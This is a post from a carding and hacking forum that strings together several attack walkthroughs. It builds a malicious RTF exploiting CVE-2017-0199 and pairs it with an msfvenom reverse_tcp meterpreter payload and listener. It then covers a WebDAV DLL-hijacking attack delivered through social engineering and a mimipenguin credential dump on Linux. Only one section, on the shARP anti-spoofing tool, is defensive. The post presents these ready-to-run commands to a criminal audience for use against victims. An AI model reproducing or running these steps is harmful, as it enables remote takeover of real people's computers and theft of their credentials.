[Guide] How to Exploit Windows 10 PC with Microsoft RTF File

[Guide] How to Exploit Windows 10 PC with Microsoft RTF File - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Exploit Windows 10 PC with Microsoft RTF File (/Thread-Guide-How-to-Exploit-Windows-10-PC-with-Microsoft-RTF-File)

[Guide] How to Exploit Windows 10 PC with Microsoft RTF File - NINZA - 05-02-2020

Microsoft word is vulnerable against malicious RTF file, in this article we have made a zero-day attack on MS- word 2013 using python script which will generate a malicious .rtf file and will give a meterpreter session of the targeted system.
Exploit toolkit CVE-2017-0199 – v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and it will deliver Metasploit / meterpreter / any other payload to the victim without any complex configuration.
Let’s start!!!
Attacker: Kali Linux
Target: Windows 10 (Microsoft Word 2007 – 2013)
Open the terminal inside your Kali Linux and type the following.

git clone

[To see content please register here]

1
git clone

[To see content please register here]

cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w Sales.rtf -u

[To see content please register here]

1
2
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w Sales.rtf -u

[To see content please register here]

This command will run a python script to generate a rich text format payload where –M is used for generating rtf file –w is used for the name of rtf file i.e. “sales.rtf” and –u for attacker’s IP address or domain name.
[Image: 2.png?w=687&ssl=1]

As you can figure out in the given screenshot that above command has generated a malicious sales .rtf file, now before we send this file to our victim we need to connect it with any backdoor file so that we can establish a reverse connection with the victim.
[Image: 3.png?w=687&ssl=1]

On a new terminal use msfvenom to prepare an exe payload for attack and type the following.
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.24 lport=4444 –f exe > /root/Desktop/raj.exe
1
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.24 lport=4444 –f exe > /root/Desktop/raj.exe
[Image: 4.png?w=687&ssl=1]

Now move raj.exe into /var/www/html.
[Image: 5.png?w=687&ssl=1]

Now type following command where it will merge raj.exe with sales.rtf. Then you have to share the updated rtf file with the victim and start multi handler simultaneously for reverse connection of the victim.
python cve-2017-0199_toolkit.py -M exp -e

[To see content please register here]

-l /var/www/html/raj.exe
1
python cve-2017-0199_toolkit.py -M exp -e

[To see content please register here]

-l /var/www/html/raj.exe
[Image: 6.png?w=687&ssl=1]

When victim will open sales file which will be in doc format in the meantime attacker will receive his meterpreter session inside Metasploit framework.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.24
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
1
2
3
4
5
6
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.24
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
[Image: 7.png?w=687&ssl=1]

This article is written to introduce a new tool called shARP. It is an anti-ARP-spoofing program and uses an active scanning process to identify any ARP-spoofing event.
ARP spoofing allows an attacker to intercept data frames on a network, modify the traffic, or stop all traffic. Often the attack is used as an opening for other attacks, such as denial of service, a man in the middle, or session hijacking attacks. Our anti- ARP spoofing program, (shARP) detects the presence of a third-party in a private network actively. It has 2 modes: defensive and offensive.

Defensive mode protects the end-user from the spoofer by disconnecting the user’s system from the network and alerts the user by an audio message.
Offensive mode disconnects the user’s system from the network and further kicks out the attacker by sending de-authentication packets to his system, unable him to reconnect to the network until the program is manually reset.

The program creates a log file (/usr/shARP/) containing the details of the attack such as the attackers Mac address, Mac vendor time and date of the attack. We can identify the NIC of the attacker’s system with the help of the obtained Mac address. If required the attacker can be permanently banned from the network by feeding his Mac address to the block list of the router.
Let’s start!
Open the terminal in Kali Linux and type following command to download it
git clone

[To see content please register here]

1
git clone

[To see content please register here]

If the user wants to secure his network by scanning for any attacker he can run the program. The program offers a simple command line interface which makes it easy for the new users. Now type the following command to run this program:
chmod 777 shARP.sh
./shARP.sh -h
1
2
chmod 777 shARP.sh
./shARP.sh -h
[Image: 2.png?w=687&ssl=1]

Then we had used zanti for sniffing in the network and start MIMT attack on selected target IP: 192.168.1.9 so that we can view its network traffic.
[Image: 3.1.png?w=687&ssl=1]

When the user runs the program in defensive mode, As soon as the program detects a spoofer in the network, and it disconnects the user’s system from the network so as to protect the private data being transferred between the system and the server. It also saves a log file about the attacker for further use.
./shARP.sh -d eth0
1
./shARP.sh -d eth0
From the screenshot you can the highlighted text is showing the Mac address of android phone trying to perform spoofing.
[Image: 3.png?w=687&ssl=1]

So when it finds spoofing in the network, it disconnects the user from the network. From the screenshot, you can see now the user is assigned with its localhost IP.
[Image: 4.png?w=687&ssl=1]

Through this article, you will learn about WebDAV application DLL hijacking exploitation using the Metasploit framework and to hack the victim through malicious code execution.
Attacker: Kali Linux
Target: Window 7 (torrent)
Let’s start!!!
Open the terminal and type msfconsole to load the Metasploit framework.
[Image: 1.png?w=687&ssl=1]

This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type.
use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) >set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) >set lhost 192.168.0.107
msf exploit(webdav_dll_hijacker) >set extensions torrent
msf exploit(webdav_dll_hijacker) >exploit
1
2
3
4
5
use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) >set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) >set lhost 192.168.0.107
msf exploit(webdav_dll_hijacker) >set extensions torrent
msf exploit(webdav_dll_hijacker) >exploit
It has generated a malicious code which you can perceive from screenshots highlighted text \\192.168.0.107\documents\, so now being an attacker you are suggested to share this link to your targeted client using social engineering.
[Image: 2.png?w=687&ssl=1]

Once you have shared malicious code link to the client, now when the client will open the link he will be intended to a document folder with many file extensions and the attacker will receive his meterpreter session.
[Image: 3.png?w=687&ssl=1]

Hence meterpreter session 1 opened successfully now we are connected with the target through port 4444.
msf exploit(webdav_dll_hijacker) >sessions 1
meterpreter> sysinfo
1
2
msf exploit(webdav_dll_hijacker) >sessions 1
meterpreter> sysinfo
NOW TRY YOURSELF GOOD LUCK!!!
[Image: 4.png?w=687&ssl=1]

Hello friends! Through this article, we are introducing a new tool MINIPENUIN between us, which can utilize for fetching login of the Linux system in the same way as MIMIKATZ.
A tool to dump the login password from the current Linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz.
Takes advantage of clear text credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Will attempt to calculate each word’s probability by checking hashes in /etc/shadow, hashes in memory, and regex searches.
Let’s begin
Open the terminal and type following command to download it from git hub.
cd Desktop
git clone

[To see content please register here]

1
2
cd Desktop
git clone

[To see content please register here]

ls
cd mimipenguin
1
2
ls
cd mimipenguin
[Image: 2.png?w=687&ssl=1]

Now run the bash file to catch the clear text credential

./mimipenguin.sh
1
./mimipenguin.sh
From the screenshot, you can see I have got login credential root: toor.
[Image: 3.png?w=687&ssl=1]